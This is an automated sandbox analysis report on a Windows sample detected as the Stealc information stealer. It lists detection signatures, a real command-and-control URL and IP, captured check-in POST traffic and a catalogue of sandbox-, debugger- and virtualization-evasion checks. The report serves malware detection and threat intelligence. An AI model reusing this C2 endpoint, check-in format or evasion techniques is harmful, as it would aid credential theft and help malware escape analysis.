Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1521649
MD5:	4d54b2279d2b7ca76fdaf6d89c509355
SHA1:	379684bc91685997bfe8fba6a15212f925c7cafe
SHA256:	65055a6af994e27432e1bb9ced6fcb0886680b9f5a1a715d32d98341203cb7cc
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6672 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4D54B2279D2B7CA76FDAF6D89C509355)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1255957657.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6672	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6672	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.a70000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T01:36:06.027240+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.37	80	TCP

Code function: 0_2_00A76280 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00A76280

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 30 35 39 30 36 42 45 30 34 38 32 36 30 34 39 38 32 31 36 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="hwid"8E05906BE0482604982160------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="build"save------JJJJDAAECGHDGDGCGHDB--

Source: file.exe, 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1297365011.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1297365011.00000000006E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1297365011.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1297365011.00000000006B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1297365011.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&f&f
Source: file.exe, 00000000.00000002.1297365011.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpVe
Source: file.exe, 00000000.00000002.1297365011.00000000006B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpfeV
Source: file.exe, 00000000.00000002.1297365011.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/t
Source: file.exe, 00000000.00000002.1297365011.000000000066E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37w

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC5881	0_2_00EC5881
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895	0_2_00E40895
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4589D	0_2_00E4589D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E49009	0_2_00E49009
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD79A5	0_2_00DD79A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D0B34D	0_2_00D0B34D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3D4C6	0_2_00E3D4C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D9AC80	0_2_00D9AC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4F4BD	0_2_00D4F4BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4748A	0_2_00E4748A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D80C5F	0_2_00D80C5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E32C3E	0_2_00E32C3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DAC598	0_2_00DAC598
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D38DA2	0_2_00D38DA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3AD7B	0_2_00E3AD7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E43ED7	0_2_00E43ED7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3B7CA	0_2_00E3B7CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3BF5E	0_2_00D3BF5E

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00A745C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: spyqlfjc ZLIB complexity 0.9948946083080424

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A88680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00A88680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A83720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00A83720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\85FG4Z8A.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1843712 > 1048576

Source: file.exe

Static PE information: Raw size of spyqlfjc is bigger than: 0x100000 < 0x19be00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.a70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;spyqlfjc:EW;scxfhudm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A89860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00A89860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cb7f9 should be: 0x1d1f25

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: spyqlfjc
Source: file.exe	Static PE information: section name: scxfhudm
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB18A5 push 7554E71Dh; mov dword ptr [esp], ebp	0_2_00EB18D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E73085 push 48E573A7h; mov dword ptr [esp], eax	0_2_00E730D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA6888 push esi; mov dword ptr [esp], 7FA46EEFh	0_2_00EA68F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC5881 push ecx; mov dword ptr [esp], ebp	0_2_00EC5886
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC5881 push ebx; mov dword ptr [esp], 4653060Eh	0_2_00EC5937
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC5881 push 5B2DA72Ch; mov dword ptr [esp], ecx	0_2_00EC59F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 123E554Eh; mov dword ptr [esp], ebp	0_2_00E408AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 69519E96h; mov dword ptr [esp], ecx	0_2_00E408ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 015A37A8h; mov dword ptr [esp], edx	0_2_00E40930
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 587C0597h; mov dword ptr [esp], ebp	0_2_00E4095F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push ebx; mov dword ptr [esp], 52604D79h	0_2_00E409EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push ecx; mov dword ptr [esp], ebx	0_2_00E40A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push eax; mov dword ptr [esp], esp	0_2_00E40A34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 348F6A11h; mov dword ptr [esp], edi	0_2_00E40A5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push edi; mov dword ptr [esp], esi	0_2_00E40A63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push esi; mov dword ptr [esp], 70FBD093h	0_2_00E40A67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 1A7E5EB3h; mov dword ptr [esp], ebx	0_2_00E40AD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push ebx; mov dword ptr [esp], 06924D9Ah	0_2_00E40AF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 2F289914h; mov dword ptr [esp], eax	0_2_00E40B87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push ecx; mov dword ptr [esp], 7AFE97C0h	0_2_00E40BD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 631FD63Fh; mov dword ptr [esp], edi	0_2_00E40BE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push esi; mov dword ptr [esp], 5FAFD5F1h	0_2_00E40C0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push eax; mov dword ptr [esp], esi	0_2_00E40CE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 73CA8B03h; mov dword ptr [esp], edi	0_2_00E40CF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push ecx; mov dword ptr [esp], eax	0_2_00E40D16
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push 21564260h; mov dword ptr [esp], ebx	0_2_00E40D1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push eax; mov dword ptr [esp], esp	0_2_00E40DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push eax; mov dword ptr [esp], 6BFFA4E3h	0_2_00E40F0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push ebx; mov dword ptr [esp], edx	0_2_00E40FCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push eax; mov dword ptr [esp], edi	0_2_00E41055
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E40895 push eax; mov dword ptr [esp], ebp	0_2_00E41074

Source: file.exe

Static PE information: section name: spyqlfjc entropy: 7.9536919163300555

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00A89860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13600

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1748 second address: CD174C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD174C second address: CD1768 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21112h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4DFC8 second address: E4DFDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F5408F96886h 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007F5408F96886h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E453DE second address: E453E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E453E2 second address: E45418 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5408F96895h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5408F96890h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D0DB second address: E4D0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D62D second address: E4D631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D631 second address: E4D64F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21117h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D81D second address: E4D84C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96891h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5408F9688Dh 0x0000000e jmp 00007F5408F9688Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E507DB second address: E507E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5093D second address: E50941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50941 second address: E5094B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E509F2 second address: E50A0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F5408F96886h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50A0C second address: E50A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408C21114h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50A24 second address: E50A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50A29 second address: E50A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50A2F second address: E50A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 sub edx, 01146E92h 0x0000000e push 00000000h 0x00000010 sub dword ptr [ebp+122D1DC4h], edi 0x00000016 push 936BD181h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5408F9688Bh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50A57 second address: E50A5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50AEF second address: E50B4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F96895h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 1ACACF1Ah 0x00000010 mov dword ptr [ebp+122D1C2Ch], ebx 0x00000016 lea ebx, dword ptr [ebp+12452568h] 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F5408F96888h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 adc dx, A8C0h 0x0000003b cmc 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jg 00007F5408F96888h 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50B4B second address: E50B6C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5408C21108h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F5408C21112h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50B6C second address: E50B72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70ED3 second address: E70ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70ED9 second address: E70EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jmp 00007F5408F96898h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E70EFE second address: E70F04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EE0D second address: E6EE2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5408F9688Fh 0x00000007 pushad 0x00000008 jmp 00007F5408F9688Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EF7D second address: E6EF81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EF81 second address: E6EF8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F0D4 second address: E6F0DC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3C2 second address: E6F3CC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5408F96886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3CC second address: E6F3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5408C2110Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F3DE second address: E6F3E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
